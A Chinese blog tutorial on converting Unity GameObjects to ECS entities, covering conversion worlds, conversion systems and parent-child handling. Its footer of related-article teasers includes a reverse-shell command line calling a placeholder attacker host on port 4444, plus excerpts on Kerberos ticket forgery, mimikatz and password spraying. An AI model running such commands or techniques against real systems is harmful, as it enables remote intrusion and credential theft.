ECS的简单入门(六):传统GameObject模式转换到ECS模式

2023-05-16

在前面的介绍中,我们都是通过代码来实现物体在场景中的显示,例如我们要显示一个Cube,通过创建Entity,添加RenderMesh等Component,设置相应的Material和Mesh值即可。这样就会产生一些新的问题,例如很多资源其实都是美术那边提供或者设置的,例如场景布置,那么美术给的资源我们如何转换成ECS。

下面的内容就会给大家介绍Unity为我们提供的一些方法,来将我们传统的模式转换为ECS模式。

参考文章:https://zhuanlan.zhihu.com/p/109943463

 

Game Object Conversion

我们先来做个试验,ECS为我们提供了一个名为ConvertToEntity的Monobehaviour组件,顾名思义,功能就是将我们的GameObject转换成Entity。我们在场景中先创建一个Cube的GameObject,然后为其添加上ConvertToEntity组件,Conversion Mode用其默认的Convert And Destroy选项。

或者我们可以直接勾选Inspector面板中的ConvertToEntity选项,编辑器会自动替我们添加ConvertToEntity组件

运行后,我们会发现在Hierarchy面板中,我们的Cube消失了,然而在场景中依旧能看见这个方块。其实这个方块已经变成了我们的Entity了,可以在Entity Debugger中找到它

可以看出GameObject上的一些Monobehaviour组件也转换成相应的Component,关联到了Entity上。

接下来我们来简单的看看Unity具体是如何实现这个转换过程的

 

ConversionWorld

在ConvertToEntity中的Convert()方法中有这么一段代码

using (var gameObjectWorld = settings.CreateConversionWorld())

在转换时,会创建一个特殊的World名为ConversionWorld,然后往下看有一段为

foreach (var convert in toBeConverted)
    AddRecurse(gameObjectWorld.EntityManager, convert.transform, toBeDetached, toBeInjected);

这里就是遍历了所有带有ConvertToEntity的GameObject,然后调用AddRecurse方法,传递的是ConversionWorld的EntityManager

AddRecurse方法中有如下两段代码,前者调用GameObjectEntity.AddToEntityManager方法传入我们的GameObject,后者则是递归该GameObject下的Child。

......
GameObjectEntity.AddToEntityManager(manager, transform.gameObject);
......
foreach (Transform child in transform)
    AddRecurse(manager, child, toBeDetached, toBeInjected);
......

接着我们看看GameObjectEntity.AddToEntityManager方法内部干了些什么

public static Entity AddToEntityManager(EntityManager entityManager, GameObject gameObject)
{
    GetComponents(gameObject, true, out var types, out var components);
    EntityArchetype archetype;
    try
    {
        archetype = entityManager.CreateArchetype(types);
    }
    ......
    var entity = CreateEntity(entityManager, archetype, components, types);
    return entity;
}

static Entity CreateEntity(EntityManager entityManager, EntityArchetype archetype, IReadOnlyList<Component> components, IReadOnlyList<ComponentType> types)
{
    var entity = entityManager.CreateEntity(archetype);
    ......
            entityManager.SetComponentObject(entity, types[t], component);
    ......
}

很熟悉的代码,利用EntityManager创建Archetype,创建Entity。同时获取到该GameObject上的Monobehaviour Component关联到Entity上。

因此可以看出,每个带有ConvertToEntity的GameObject以及其子GameObject,都会一对一的生成一个Entity,并关联上GameObject上的Monobehaviour Component,存储在ConversionWorld当中,我们可以将其当做是一个中转站。

 

DestinationWorld,PrimaryEntity

接着往下看有这么一段代码,一样的,看下里面的具体实现

GameObjectConversionUtility.Convert(gameObjectWorld);
internal static void Convert(World conversionWorld)
{
    using (var conversion = new Conversion(conversionWorld))
    {
        using (s_UpdateConversionSystems.Auto())
        {
            DeclareReferencedObjects(conversionWorld, conversion.MappingSystem);
            conversion.MappingSystem.CreatePrimaryEntities();
            conversionWorld.GetExistingSystem<GameObjectBeforeConversionGroup>().Update();
            conversionWorld.GetExistingSystem<GameObjectConversionGroup>().Update();
            conversionWorld.GetExistingSystem<GameObjectAfterConversionGroup>().Update();
        }

        ......
        using (s_UpdateExportSystems.Auto())
            conversionWorld.GetExistingSystem<GameObjectExportGroup>()?.Update();
    }
}

其中CreatePrimaryEntities方法里面(代码就不贴了,大家可以自己看看)则是根据ConversionWorld中Entity的数量,在DestinationWorld中再次生成一份,DestinationWorld中的Entity就将是我们的最终转换结果。

DestinationWorld的设置为下面代码,其中convertToWorld.Key的值就是我们的DefaultWorldWorld.DefaultGameObjectInjectionWorld)。

var settings = new GameObjectConversionSettings(
    convertToWorld.Key,
    GameObjectConversionUtility.ConversionFlags.AssignName);

而存储在DestinationWorld的Entity,我们称之为PrimaryEntity。在GameObjectConversionSystem中(下面会提到)我们可以通过GetPrimaryEntity方法来通过GameObject或者GameObject上的Monobehaviour组件获取到对应的PrimaryEntity:

public Entity GetPrimaryEntity(UnityObject uobject) => m_MappingSystem.GetPrimaryEntity(uobject);
public Entity GetPrimaryEntity(Component component) => m_MappingSystem.GetPrimaryEntity(component != null ? component.gameObject : null);

生成好Entity后,我们可以看见通过获取特定的SystemGroup执行其Update方法,这样我们的整个的转换过程就大体的完成了。有关这些System的知识,继续往下看。

 

ConversionSystem

在ConversionWorld中会有一些特定的ConversionSystem,用于将我们ConversionWorld中Entity的Monobehaviour Component转换成Component(IComponentData)关联到对应的PrimaryEntity上。

被标记了如下 attribute 的 system 将在 ConversionWorld 中被调用:

[WorldSystemFilter(WorldSystemFilterFlags.GameObjectConversion)]

由于这个attribute是可继承的,因此我们可以通过继承ECS库中提供的GameObjectConversionSystem来实现自定义的ConversionSystem。

下面我们来看两个简单的例子,都是ECS库中提供的继承于GameObjectConversionSystem的System:

一个是TransformConversion,用于将我们的TransformRectTransform转换为LocalToWorldTranslationRotationNonUniformScale等Component。

另一个则是MeshRendererConversion,将MeshRendererMeshFilter转换成RenderMesh等Component

我们来看一下TransformConversion的代码,MeshRendererConversion的有兴趣的可以自己去看下

[UpdateInGroup(typeof(GameObjectBeforeConversionGroup))]
[ConverterVersion("joe", 1)]
class TransformConversion : GameObjectConversionSystem
{
    private void Convert(Transform transform)
    {
        var entity = GetPrimaryEntity(transform);

        DeclareDependency(transform, transform.parent);

        DstEntityManager.AddComponentData(entity, new LocalToWorld { Value = transform.localToWorldMatrix });
        if (DstEntityManager.HasComponent<Static>(entity))
            return;

        var hasParent = HasPrimaryEntity(transform.parent);
        if (hasParent)
        {
            DstEntityManager.AddComponentData(entity, new Translation { Value = transform.localPosition });
            DstEntityManager.AddComponentData(entity, new Rotation { Value = transform.localRotation });

            if (transform.localScale != Vector3.one)
                DstEntityManager.AddComponentData(entity, new NonUniformScale { Value = transform.localScale });

            DstEntityManager.AddComponentData(entity, new Parent { Value = GetPrimaryEntity(transform.parent) });
            DstEntityManager.AddComponentData(entity, new LocalToParent());
        }
        else
        {
            DstEntityManager.AddComponentData(entity, new Translation { Value = transform.position });
            DstEntityManager.AddComponentData(entity, new Rotation { Value = transform.rotation });
            if (transform.lossyScale != Vector3.one)
                DstEntityManager.AddComponentData(entity, new NonUniformScale { Value = transform.lossyScale });
        }
    }
    protected override void OnUpdate()
    {
        Entities.ForEach((Transform transform) =>
        {
            Convert(transform);
        });

        Entities.ForEach((RectTransform transform) =>
        {
            Convert(transform);
        });
    }
}

理解起来很简单在Update中找到ConversionWorld中带有TransformRectTransform的Entity,然后执行Convert方法,在Convert方法中,找到对应的PrimaryEntity,然后为其添加LocalToWorldTranslation等组件,并赋上对应的值。如果scale值为1,则不会为Entity添加NonUniformScale组件

这也就解释了前面我们的Cube转换成Entity后,拥有了LocalToWorld,Translation和RenderMesh等Component。

 

Conversion顺序

ConversionSystem同样有着相应的执行顺序,如果我们自定义一个ConversionSystem,需要获取到PrimaryEntity的Translation Component,那就必须在TransformConversion后执行。

在ConversionWorld中,ECS提供了下列这些Group(声明在GameObjectConversionSystem.cs中):

public class GameObjectDeclareReferencedObjectsGroup : ComponentSystemGroup { }

public class GameObjectBeforeConversionGroup : ComponentSystemGroup { }
public class GameObjectConversionGroup : ComponentSystemGroup { }
public class GameObjectAfterConversionGroup : ComponentSystemGroup { }

public class GameObjectExportGroup : ComponentSystemGroup { }

我们同样可以使用UpdateInGroup的attribute来给System设置Group,例如

[UpdateInGroup(typeof(GameObjectBeforeConversionGroup))]
class TransformConversion : GameObjectConversionSystem { }

TransformConversion将运行在GameObjectBeforeConversionGroup中,若没有设置的话,将默认运行在GameObjectConversionGroup。

注意:我们不能使用[UpdateBefore(typeof(TransformConversion)] 或者 [UpdateAfter(typeof(TransformConversion)],因为这些ECS库提供的ConversionSystem不是Public的。

 

自定义的Monobehaviour组件转换

像Transform,MeshRenderer这些组件ECS已经为我们提供好了相对应的ConversionSystem,但是往往在开发中我们会有很多的自定义的Monobehaviour组件,要想转换成相应的ECS Component的话,有下面两种方法可以实现。

假设我们有一个名为MoveMono的Monobehaviour组件,用于控制物体的移动,代码如下:

public class MoveMono : MonoBehaviour
{
    public int Speed;
}

要转换到ECS的话,就需要相对应的有个ECS Component,名为MoveComponent

public class MoveComponent : IComponentData
{
    public int Speed;
}

下面我们就来看看如何将GameObject+MoveMono转换为Entity+MoveComponent

 

自定义ConversionSystem

类似于前面的TransformConversion,我们可以通过继承GameObjectConversionSystem,来实现自定义的ConversionSystem,然后在里面查询到所有带有MoveMono的GameObject,给对应的PrimaryEntity添加上MoveComponent即可,代码如下:

[UpdateInGroup(typeof(GameObjectBeforeConversionGroup))]
public class MoveConversion : GameObjectConversionSystem
{
    private void Convert(MoveMono move)
    {
        var entity = GetPrimaryEntity(move);
        DstEntityManager.AddComponentData(entity, new MoveComponent() { Speed = move.Speed });
    }
    protected override void OnUpdate()
    {
        Entities.ForEach((MoveMono move) =>
        {
            Convert(move);
        });
    }
}

 

IConvertGameObjectToEntity

ECS提供了一个名为IConvertGameObjectToEntity的接口,其内部方法Convert如下:

public void Convert(Entity entity, EntityManager dstManager, GameObjectConversionSystem conversionSystem)

同时ECS中有一个名为ConvertGameObjectToEntitySystem的ConversionSystem,它会遍历ConversionWorld中所有的GameObject。然后通过GetComponents方法获取到该GameObject下所有实现了IConvertGameObjectToEntity的组件,然后调用它们的Convert方法,因此我们的转换逻辑就可以写在Convert方法中。

来看看Convert方法中三个参数的具体含义

Entity entity该GameObject对应的PrimaryEntity
EntityManager dstManagerDestinationWorld的EntityManager(注意不是ConversionWorld的)
GameObjectConversionSystem conversionSystemConvertGameObjectToEntitySystem

具体实现代码如下

public class MoveMono : MonoBehaviour, IConvertGameObjectToEntity
{
    public int Speed;
    
    public void Convert(Entity entity, EntityManager dstManager, GameObjectConversionSystem conversionSystem)
    {
        dstManager.AddComponentData(entity, new MoveComponent(){Speed = Speed});
    }
}

 

了解了这些知识我们就可以很清晰的知道一个GameObject是如果转变成我们的Entity了。接下来进行一些拓展

 

Parent

前面我们将一个GameObject转换成了Entity,现在我们来试试将带有层次结构的一串GameObject转换看看,如下图:

我们创建一些空的GameObject(只带有Transform,且Scale的值都为1,防止部分添加上NonUniformScale组件,导致Archetype不同),同时在根节点的GameObject(图中的A)添加ConvertToEntity组件,运行看看结果。

        

根据前面的介绍,由于在AddRecurse方法中存在递归,因此挂有ConvertToEntity的GameObject其子节点也都会被转换为Entity,所以A-G都变为了Entity。

但是为什么一样的GameObject却生成了三个Chunk呢?这就和我们的层次结果有有关了,其实在前面的TransformConversion的代码中我们就可以发现,对于有Parent的Entity添加了ParentLocalToParent。最终可以总结出如下四种情况

  • 无Parent,无Child(如前面例子的Cube):无额外添加
  • 无Parent,有Child(如A):添加Child
  • 有Parent,有Child(如B):添加Child,添加Parent,LocalToParent,PreviousParent
  • 有Parent,无Child(如C):添加Parent,LocalToParent,PreviousParent

注:LocalToWorld的计算是基于Parent的

我们简单的看下这几个组件的实现以及其作用

//Parent.cs
[Serializable]
[WriteGroup(typeof(LocalToWorld))]
public struct Parent : IComponentData
{
    public Entity Value;
}
[Serializable]
public struct PreviousParent : ISystemStateComponentData
{
    public Entity Value;
}
[Serializable]
[InternalBufferCapacity(8)]
[WriteGroup(typeof(ParentScaleInverse))]
public struct Child : ISystemStateBufferElementData
{
    public Entity Value;
}
ParentComponent Data,纪录了父节点的Entity
PreviousParentSystem State Component Data,同样是纪录父节点的Entity,主要作用在于当新增或删除或改变Parent的时候,用做判断(例如,一开始Parent和PreviousParent的值都是Entity1,某时刻Parent的值变为了Entity2,与PreviousParent的值不同了,说明了该Entity的Parent值改变了)
ChildSystem State 和 Dynamic buffer的结合Component Data,类似Array,用于纪录所有子节点的Entity

我们来看下D中的Component数据帮助理解,D的Parent为A,Child为E和F

    

 

Convert To Entity (Stop)

ECS还为我们提供了StopConvertToEntity的Monobehaviour Component,其主要功能就是中断自身以及其子层级的Entity转换。例如上面的例子中,我们给D添加StopConvertToEntity,那么将不会生成DEF三个Entity。其实现代码其实就在我们前面提到过的AddRecurse方法中:

static void AddRecurse(EntityManager manager, Transform transform, HashSet<Transform> toBeDetached, List<Transform> toBeInjected)
{
    if (transform.GetComponent<StopConvertToEntity>() != null)
    {
        toBeDetached.Add(transform);
        return;
    }
    ......
}

 

GameObject Disabled

在Hierarchy中隐藏的GameObject,同样会被转换成Entity,但是会被添加上Disabled Component。

 

ConvertAndInjectGameObject

在前面,我们ConvertToEntity组件的ConversionMode选择的都是默认的ConvertAndDestroy,即转换成功后删除原始GameObject。它还有另个选项ConvertAndInjectGameObject,我们将上面例子中 A 上挂载的ConvertToEntity组件选择该选项,运行起来看看结果是如何:

这次只生成了一个Entity(A),没有将A的Child也转换为Entity,同时原始的Transform组件也被关联到了Entity上。在Hierarchy中也可以看到原始的GameObject(A)也没有被删除。(具体的实现大家可以自行看看源码,就不展开了)

这个模式的作用在于,我们可以利用Entity关联着的原始组件(例如Transform或者其他挂载在GameObject上的Monobehaviour组件)追溯到原始的GameObject。

注:当Parent(如A)的ConvertToEntity选择ConvertAndInjectGameObject后,Child(如B)的ConvertToEntity无效,如图:

 

使用System控制GameObject

根据上面的特性,我们就可以利用System来管理GameObject,而抛弃传统的Monobehaviour。在System中我们可以利用相关的Monobehaviour 组件查询并追溯到原始的GameObject,利用System的Update等方法对他们进行逻辑处理即可。

这么做的好处在于首先使用System的查询是很方便且快捷的(利用了Job的多线程),其次当有多个System共同协作的时候,也可以利用 UpdateBefore/After 的Attribute来控制执行顺序。

举个简单例子,例如我们想要移动一类GameObject,可以创建一个空的Monobehaviour Component来当作Tag,纯粹是用于查询使用的(假设叫做Move),然后挂在那些要移动的GameObject上(当然了,根据前面提到的,这些GameObject不能相互嵌套)。然后我们利用ConvertToEntity的ConvertAndInjectGameObject,将其转换成Entity,这样我们就会得到一堆带有Move和Transform的Entity,当然可能还有其他被转换的Entity,但是其他的Entity肯定不带有Move。

接着我们写一个System,查询带有Move和Transform的Entity,并追溯到原始GameObject,添加上移动相关的代码即可。

public class MoveCubeSystem : SystemBase
{
    EntityQuery query;

    protected override void OnCreate()
    {
        base.OnCreate();
        query = GetEntityQuery(ComponentType.ReadOnly<Transform>(), ComponentType.ReadOnly<Move>());
    }

    protected override void OnUpdate()
    {
        Transform[] transArray = query.ToComponentArray<Transform>();
        foreach (var trans in transArray)
        {
            trans.position += trans.forward * Time.DeltaTime;
        }
    }
}

我们也可以使用Entities.ForEach方法来处理,需要注意的是,必须要使用WithoutBurst,并且使用Run来执行Job,否则报错如下:

error DC0023: Entities.ForEach uses managed IComponentData Transform&. This is only supported when using .WithoutBurst() and .Run().

同时对于Transform不能使用ref或者in关键字,否则报错如下:

error DC0024: Entities.ForEach uses managed IComponentData Transform& by ref. To get write access, receive it without the ref modifier.

所以,正确的代码如下:

Entities.ForEach((Transform trans, Move move) => {
    trans.position += trans.forward * Time.DeltaTime;
}).WithoutBurst().Run();

//或者
//Entities.WithAll<Move>().ForEach((Transform trans) =>
//{
//    trans.position += trans.forward * Time.DeltaTime;
//}).WithoutBurst().Run();

 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ECS的简单入门(六):传统GameObject模式转换到ECS模式 的相关文章

  • 内网渗透之域环境搭建详细教程

    文章目录 1 设置IP 2 部署域控 2 1 安装活动目录和DNS服务 2 2 提升服务器为域控 2 3 部署配置 2 4 域控制器选项 2 5 先决条件检查 3 将其他两台服务器加入域 4 创建AD域用户 1 设置IP 设置 gt NAT
  • 域内用户枚举与密码喷洒

    文章目录 1 用户名枚举 1 1 原理 1 2 工具 1 3 用法 2 密码喷洒 2 1 原理 2 2 工具 2 3 用法 1 用户名枚举 1 1 原理 域内用户可以在没有域内有效凭据下 枚举出域内所存在的用户名 从而可以进行密码喷洒 在K
  • 本地文件包含原理常见的函数及利用

    文章目录 1 原理 2 PHP文件包含函数 3 攻击流程 4 代码 5 防范 1 原理 本地文件包含漏洞 Local File Inclusion LFI 是一种常见的 Web 应用程序漏洞 仅能够对服务器本地的文件进行包含 由于服务器上的
  • 黄金票据原理制作与利用

    文章目录 原理 攻击场景 利用前提 生成流程 获取域名 获取SID 获取域的krbtgt ntml hash 伪造票据 传递票据注入内存 总结 原理 黄金票据 golden ticket 攻击是一种滥用 Kerberos 身份认证协议的攻击
  • 白银票据原理制作与利用

    文章目录 原理 利用条件 利用前提 生成流程 获取服务账号HASH 获取域SID 获取域名 获取名称 制造票据 票据注入内存前后对比 总结 原理 白银票据是伪造的Silver Ticket ST 它可以让你访问服务器上的指定服务 但是不能访
  • Nestjs框架快速入门:安装与启动

    Nestjs框架快速入门 安装与启动 Nest 是构建高效可扩展的 Node js Web 应用程序的框架 Nest 默认使用JavaScript的超集TypeScript进行开发 环境准备 查看node和npm版本 node versio
  • mimikatz常见命令

    文章目录 1 mimikatz简介2 命令2 1 常用命令2 2 privilege debug2 3 sekurlsa logonpasswords 1 mimikatz简介 Mimikatz 是一款用于提取 Windows 系统中用户凭
  • 内网中快速定位域管理员

    文章目录 1 攻击手法 1 1 日志分析 1 2 会话分析 2 工具 2 1 psloggedon exe 2 1 1 简介 2 1 2 下载地址 2 1 3 用法 2 2 netview exe 2 2 1 简介 2 2 2 下载地址 2
  • 获取RDP凭据密码

    1 简介 1 1 RDP Windows 自带的远程桌面功能非常强大 并且被广泛使用 因此 获取远程桌面凭证可以为渗透测试中的横向移动提供有利条件 横向移动是指在已经渗透到网络内部的情况下 继续在网络内部渗透的过程 通过获取远程桌面凭证 攻
  • phpstudy小皮面板RCE漏洞_XSS盲打

    1 漏洞描述 最近爆出的phpstudy小皮面板存在RCE漏洞 xff0c 通过分析和复现发现是一个存储型xss漏洞导致的RCE xff0c 这是一个很简单的1click的RCE xff0c 通过系统登录用户名输入出的xss配合系统后台自动
  • 隧道技术之不出网-正向代理

    简介 很多情况下 xff0c 拿下一台主机不出网 xff0c 就没办法反向连接 xff0c 需要去正向连接 xff0c 这里用到一个工具正向代理工具Neo reGeorg 用法 第一步需要先设置一个密码 xff0c 假设我设置的为123 p
  • XXE外部实体引入漏洞原理及复现

    文章目录 1 简介2 XML基本语法2 1 文档声明2 2 根元素2 3 元素2 4 属性2 5 注释2 6 CDATA2 7 空元素 3 DTD基本语法3 1 要点3 2 DTD 示例 4 攻击5 防范 1 简介 XXE XML 外部实体
  • SSRF漏洞漏洞利用及防范

    文章目录 1 简介 2 攻击 2 1 1 DNSLOG 2 1 2 代码 3 防范 1 简介 SSRF Server Side Request Forgery 漏洞是一种 Web 应用程序安全漏洞 它允许攻击者构造非法请求并让 Web 服务
  • 渗透测试-信息收集之Google hacking + GitHub

    1 简介 Google hacking 是一种通过使用 Google 搜索引擎中的高级运算符来查找存储在网站上的敏感信息的技术 这可能包括登录凭据 敏感文件和其他敏感数据等信息 GitHub 信息收集是通过分析目标在 GitHub 平台上的
  • 反弹shell的命令大全

    bash gt bin bash i gt dev tcp attackerip 4444 0 lt amp 1 2 gt amp 1 gt bash i gt amp dev tcp attackerip 4444 0 gt amp 1
  • 水平/垂直越权攻击手段及实战

    文章目录 越权 1 水平越权 1 1 攻击流程 1 2 代码 1 3 实战 2 垂直越权 2 1 攻击流程 3 1 代码 越权 越权攻击 Privilege Escalation 是指攻击者通过利用系统漏洞 配置错误或其他安全漏洞等手段 从
  • MySQL常用的show语法

    MySQL show语法 SHOW BINARY LOGS SHOW BINARY LOGS 列出服务器上的二进制日志文件 SHOW BINLOG EVENTS 显示二进制日志中的事件 如果未指定 xff0c 则显示第一个二进制日志 mys
  • 渗透测试快速判断操作系统

    1 TTL TTL Time to Live 是一个IP数据包的字段 xff0c 用于限制在网络中传播的次数 它是一个8位字段 xff0c 表示数据包在网络中允许通过的路由数 每经过一个路由器 xff0c TTL就会减1 如果TTL为0 x
  • 实战中的.git信息泄露利用

    1 简介 其实这个是非常简单的哈 xff0c 但很多人看见 git不知道这个漏洞就放弃了 git文件夹是一种常见的源代码版本控制系统 xff08 如Git xff09 使用的文件夹 xff0c 用于跟踪文件和文件夹的更改 如果这个文 件夹被
  • 报错注入写shell

    文章目录 写shell条件 最常见的注入写shell方式 报错注入写shell 错误示范 lines starting by 失败原因 其他语法 lines terminated by 写入 fields terminated by 写入

随机推荐

  • oracle 删除主键

    删除主键一定要一起把索引删除 切记 span class token keyword alter span span class token keyword table span x span class token keyword dro
  • sql 取日期的年月日

    span class token keyword select span span class token keyword year span span class token punctuation span create time sp
  • 新专栏[飞控] 要开始学点新东西了.和第一步.硬件接线

    我淘宝买了便宜的无人机 stm32的板子 swd烧录接口 uart1串口通信 分两块 一块无人机 一块遥控器 无人机的板子不知上面俩接口 回去要看一下 下图是遥控器的这俩接口 SWD uart1 其中串口通信比较简单 可以直接连已经有的US
  • 部署环境从docker swarm迁移到k8s后kie-server的发布方式变化(二)

    正如后来的考虑 如果外接maven私库照理说是ok的 这样去掉volume的设计整个流程更加的自动化标准化 开搞 第一步先部署一个nexus yaml文件如下 apiVersion v1 kind Namespace metadata na
  • 讨逆檄文..

    五一之后 就要开始我们的征战旅程了 激动不已 说起来当代人是什么样就可以看到后代会是什么样 就像微博里说的 是个人都会让后代不要输起跑线 巨婴的缺点是什么是他什么都输不起 他会放大自己面临的困难 病态的 他没有为自己负责的意识 因为一直被负
  • k8s安装监控工具metrics-server

    我们需要监控cpu和内存的使用率 以便提供硬件资源的申请采购建议 也方便我们知道运行负荷 而不是糊里糊涂出了问题再去解决或者工具自动解决了而我们不知道 话说回来集群的好处就是低成本的达到高性能 性能不去监控就有点太不专业了 但 k8s居然不
  • 给k8s集群添加负载均衡的能力

    常识 k8s没有自带负载均衡能力 需云服务提供商来做负载均衡 或者自己装负载均衡控制器 负载均衡控制器有很多 这次装Ingress Nginx https kubernetes github io ingress nginx 文档里根据环境
  • NestJs框架快速入门(V6.5)

    Nest是构建高效可扩展的 Node js Web 应用程序的框架 默认使用JavaScript的超集TypeScript进行开发 环境准备 查看node和npm版本 node version v10 16 0 npm version 6
  • 公车艳遇_习惯累积沉淀_新浪博客

    今天坐b1我又跟女生们年轻小姑娘挤在了一起 用她们们是们凸凹优质的身材把我挤在门上脚都挨不着地 当然没这么严重 反正一路上脸都有点烫 一路上都不自觉的猥琐笑容 下了车还在压抑着笑 一低头就不小心笑出声
  • [转载]动物伦理,为了人的尊严_习惯累积沉淀_新浪博客

    原文地址 xff1a 动物伦理 xff0c 为了人的尊严 作者 xff1a 评论员李铁 道德就是拿火腿肠喂流浪狗喂到心碎流泪 xff0c 而完全不用去顾虑猪的感受 这是一位网友对爱狗人士拯救流浪狗的讥讽 xff0c 不少人觉得这句话绝妙 x
  • GitLab的安装部署

    微信公众号 xff1a 运维开发故事 xff0c 作者 xff1a double冬 本文主要讲述了GitLab安装部署的两种方式 xff0c 以及遇到的一些问题 一 GitLab Server的搭建 参考 xff1a https about
  • Linux常用的软件包管理命令

    RPM xff08 红帽软件包管理器 xff09 常用的 RPM 软件包命令 命令作用安装软件的命令格式rpm ivh filename rpm升级软件的命令格式rpm Uvh filename rpm卸载软件的命令格式rpm e file
  • 解决linux系统挂载NTFS格式磁盘的问题

    一般情况下 xff0c Linux是识别不了NTFS格式移动硬盘的 xff08 需要重编译Linux核心才能 xff0c 加挂NTFS分区 xff09 xff0c 这时候为了能让Linux服务器能够识别NTFS的移动硬盘 xff0c 就必须
  • Win10提示“某些设置由你的组织来管理”的解决办法

    Win10提示 某些设置由你的组织来管理 的解决办法 2015 12 23 来源 xff1a Windows 10 人气 xff1a 443 有IT圈网友询问 xff0c 在Win10设置中出现了 某些设置由你的组织来管理 的提示 xff0
  • Stoker的数据库学习之基本语句(二)

    数据库学习之基本语句 xff08 二 xff09 DQL语句 对数据库中的数据进行查询 xff08 简单查询 xff09 我们用下图的emp表来进行操作 xff1a 1 去除重复数据 DISTINCT 注意 xff1a 需要查询的所有数据完
  • sourcetree(mac)设置代理链接GitHub

    背景 xff1a 使用mac版的sourcetree上get代码 xff0c 由于不能使用https只能用ssh xff0c 可是常规使用win版本的操作在mac上不好使了 xff0c 总是提示上传失败 xff0c 请手动添加ssh 解决方
  • 机器学习系列(2):线性回归

    机器学习系列 xff08 2 xff09 xff1a 线性回归 一 线性回归模型二 目标函数2 1 目标函数2 2 目标函数的概率解释2 2 1 中心极限定理2 2 2 高斯分布2 2 3 极大似然估计与损失函数极小化等价 三 参数估计3
  • ECS的简单入门(一):概念

    官方文档 xff1a https docs unity3d com Packages com unity entities 64 0 9 manual ecs core html 视频资料 xff1a UUG Online直播回放 xff1
  • golang使用strconv包string/int/int64类型转换

    Go不会对数据进行隐式的类型转换 xff0c 只能手动去执行转换操作 strconv包提供了简单数据类型之间的类型转换功能 以下是常用的一些转换函数 xff1a 将 int 类型转成 string 类型 Itoa num span clas
  • ECS的简单入门(六):传统GameObject模式转换到ECS模式

    在前面的介绍中 xff0c 我们都是通过代码来实现物体在场景中的显示 xff0c 例如我们要显示一个Cube xff0c 通过创建Entity xff0c 添加RenderMesh等Component xff0c 设置相应的Material